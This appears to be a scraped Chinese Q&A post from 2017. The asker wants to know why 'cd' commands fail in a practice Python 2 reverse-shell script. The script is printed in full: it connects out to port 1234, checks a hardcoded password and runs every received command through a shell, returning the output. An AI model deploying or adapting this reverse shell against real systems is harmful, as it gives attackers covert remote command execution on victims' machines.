【发布时间】:2017-10-30 16:00:08
【问题描述】:
您可以在下面看到一个 Python 脚本,它在端口 1234 上与我的机器建立连接。使用 Netcat,我可以在该端口上侦听,然后使用终端在我的机器上执行操作(我知道这很简单,但它只是用于练习)。
现在的问题是“ls、mkdir、pwd、rm 甚至“ls /root/Desktop/”之类的命令都可以正常工作,但是“cd /root/Desktop”或“cd ..”不能正常工作,这实际上非常糟糕。键入“cd ..”不会返回任何错误消息,但它也不会更改目录。我不能离开我的 python 目录。
这是脚本:
#! /usr/bin/python
import socket
import subprocess
host = "localhost"
port = 1234
passwd = "hacking"
def login():
global s
s.send("Login: ")
pwd = s.recv(1024)
if pwd.strip() != passwd:
login()
else:
s.send("Connected #> ")
shell()
def shell():
while True:
data = s.recv(1024)
if data.strip() == ":kill":
break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send("#> ")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()
我是从here 那里得到的。
谁能帮帮我?知道为什么我不能离开目录吗?提前致谢!
【问题讨论】:
标签: python python-2.7 sockets subprocess